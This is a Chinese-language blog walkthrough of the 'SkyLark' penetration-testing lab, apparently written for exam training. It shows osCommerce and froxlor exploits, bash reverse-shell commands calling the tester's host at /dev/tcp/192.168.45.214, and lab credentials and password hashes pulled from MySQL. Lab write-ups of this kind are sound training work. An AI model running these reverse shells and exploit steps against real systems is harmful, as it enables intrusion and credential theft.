Challenge 3 - SkyLark(1)

 Challenge 3 - SkyLark(1)

LAB3 是 LAB 練習中最大的一個 LAB,公司網路拓樸如下



共區分三個網段,對外的是 192.168.xxx.0/24 共有八台機器,另外一樣提供一台 WINPREP

依據所提供的資訊一樣先整理攻擊列表如下



對外共八台,其中七台可以 Ping,依據 TTL 判斷 OS 紀錄如下




從 .220 一路開始枚舉,前三台目前沒有找到洞可以利用,直到第四台 .223 經過一番測試後

發現可以進去,所以攻擊順序第一台就選定 .223



執行 Rustscan,這一台僅有開一個 Port 60001



snmp check 沒有用



nmap,60001/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))



60001 /



60001 /robots.txt



gobuster 排除 403、405、500,有兩個路徑 /catalog & /docs





查看 /docs 發現幾個檔案



查看 release_notes.pdf,看來系統像是 osCommerce Online Merchant v2.3.4



查看 /catelog 發現有些檔案打不開,查看檔案發現使用名稱 milan 名稱去存取

修改 hosts 將 milan 指向到靶機,可正常存取了



whatweb 看一下看來確認是 OSCommerce



網站也有明確寫出是 OSCOMMERCE CMS



Exploit-DB 查看 osCommerce 2.3.4 有許多利用



直接看第一個 RCE 50128,說明是 php injection 到 DB 然後執行 system command

且最讚的一句 "# Notes: The RCE doesn't need to be authenticated"



直接執行看看 python code 告知要接 URL,輸入 URL 發現直接拿到 RCE Shell

不過執行 whoami、id 等都沒有輸出



直接跑 bash 試試看,bash -c "bash -i >& /dev/tcp/192.168.45.214/4444 0>&1"

沒有拿到 Reverse Shell



改跑 bash -c "bash -i >& /dev/tcp/192.168.45.214/60001 0>&1" 也沒有

執行 wget http://192.168.45.214/tools/nc 發現有正常來存取

測試後發現除了 80 還有 443 可以對外

改跑 bash -c "bash -i >& /dev/tcp/192.168.45.214/443 0>&1"

443 Listener 進來了,直接拿到 local.txt flag



開始 PE,cat /etc/passwd,發現帳號 milan、sarah



cat /etc/crontab



使用者 milan 看來是目標之一



sudo -l 需要密碼



SUID check



pspy64 查看發現會去執行這個檔案 /var/www/html/froxlor/scripts/froxlor_master_cronjob.php




查看該檔案內容如下,去跑另外一支 php "/vendor/autoload.php"
會自動載入 Reload Command



在此路徑下 /var/www/html/froxlor/tests/Admins 的 AdminsTest.php 發現一組密碼

admin:h0lYmo1y



linpeas.sh,看到幾個熟悉的漏洞利用



測試 [+] [CVE-2022-0847] DirtyPipe........沒有 gcc........GG




測試 [+] [CVE-2021-4034] PwnKit.......GG


測試 [+] [CVE-2021-3156] sudo Baron Samedit (2),已經 patched......GG



看到另外一個 60002 Port,前面發現的 Admin 帳號密碼路徑是在

/var/www/html/froxlor/tests/Admins

而 60001 網站的路徑是在 /var/www/html/oscommerce,所以不是 60001 網站

看來伺服器有跑另外一個沒有對外的網站 60002

以及這一台有跑 3306 MySQL



發現 git 路徑 drwxr-xr-x 4 www-data www-data 4096 Oct 10  2021 /var/www/html/froxlor/.github

種種跡象顯示 /var/www/html/froxlor 看來是另外一個站台的根目錄



DB User、Password "oscuser:7NVLVTDGJ38HM2TQ"



搭建 chisel 對應 3306 Port,使用 "oscuser:7NVLVTDGJ38HM2TQ" 連線 MySQL 成功



在 oscdb 資料庫中有個 administrators 資料表,當中可以看到使用者與密碼

但也僅有一組而已 admin:$P$DVNsEBdq7PQdr7GR65xbL0pas6caWx0

密碼破解不出來



跑了 hashcat 很長一段時間後仍舊無法破解



後來發現可以用同一組密碼,使用者改用 root 登入到 MySQL

果然密碼重用是一定要嘗試的 root:7NVLVTDGJ38HM2TQ

show databases; 就發現多了三個資料庫




select id, username, password from froxlor.ftp_users; 發現三組帳號與 HASH

1 | Skylark  | $5$jigdYlfLyunlywsP$rYt3K4YQwFJvt3Fpq4ss31j9KF8o5Q8CVSa7/YXFRyC |

2 | letsfly  | $5$enbUyVfzahjLdirm$29S4UqN3DcoeTp.AaCJKR0eZ45Z51c2zP4ndlw8aK14 |

3 | flybike  | $5$egSnwzfaBdlswnAz$40euq6DBo8DjpoBnMzESWisyauMHST0yjbURPo0s2I5

開始破解找到的幾組 Hash,破解結果僅得到一組 flybike:Bikes4life




在 panel_admins 資料表中發現 floxlor-administrator 的 HASH

MariaDB [froxlor]> select adminid, loginname, password, name from froxlor.panel_admins;

admin:$5$b50069d236c187f2$PIeKl3JO.NJ5X0hhtHjmJx9nDtImDP61/x4D8Rv/Gu/

密碼破解不出來




繼續在 panel_customers Table 一樣有看到密碼欄位



查看又發現幾組 HASH
select customerid, loginname, password, adminid, name from froxlor.panel_customers;
Skylark:$5$wpqNdybSegkaxdZq$iCXcCM54l4Qig25b5RT5wvEPhbJ/7pioFsFsbSZ0JyC
letsfly:$5$NBzpteuosadgzxAw$NM1Jqt7N4j8TtUYyBff1S03Nbc2IQCeqOGsFgwqQQS2
flybike:$5$gqlmiUswzVgtRBwk$JV0RLv89CvFgXPXN4F78dUFjjicf9DfQW8jnrxrQko2
破解出 1 組帳號密碼 flybike:Christopher




接著在靶機將 60002 Port 轉到 Kali 的 60002 Port

ssh -N -R 127.0.0.1:60002:127.0.0.1:60002 kali@192.168.45.219



開啟網頁來看看,發現是 froxlor CMS



測試發現 flybike:Christopher 可以登入,該帳號隸屬使用者 sarah




逛了一圈沒有發現有啥好利用的地方,改查查看 Exploit-DB



現有已經有個一般使用者可以登入 froxloe
看了相關的 Exploit 後使用 50502



透過一般使用者先建立一個管理者帳號,再透過管理者帳號 RCE 提權為 Root
 


直接給了 PoC,依據 PoC 的方式執行


執行後出現錯誤,這應該是正常的



接著依據 PoC 建立的帳號密碼登入 froxlor,看來沒問題是管理者

可以看到 System 等相關多的資訊




依據 PoC 操作繼續修改設定



修改 Webserver reload command



來抓了




查看系統上還真的直接將檔案放到根目錄下,且擁有者是 root




抓完後執行第二階段的 Payload,可以看到 Reverse Shell 進來了

whoami & id 確認是 root,拿取 flag 吧



攻擊順序表更新如下,終於邁出第一步了



密碼表更新如下


留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(1)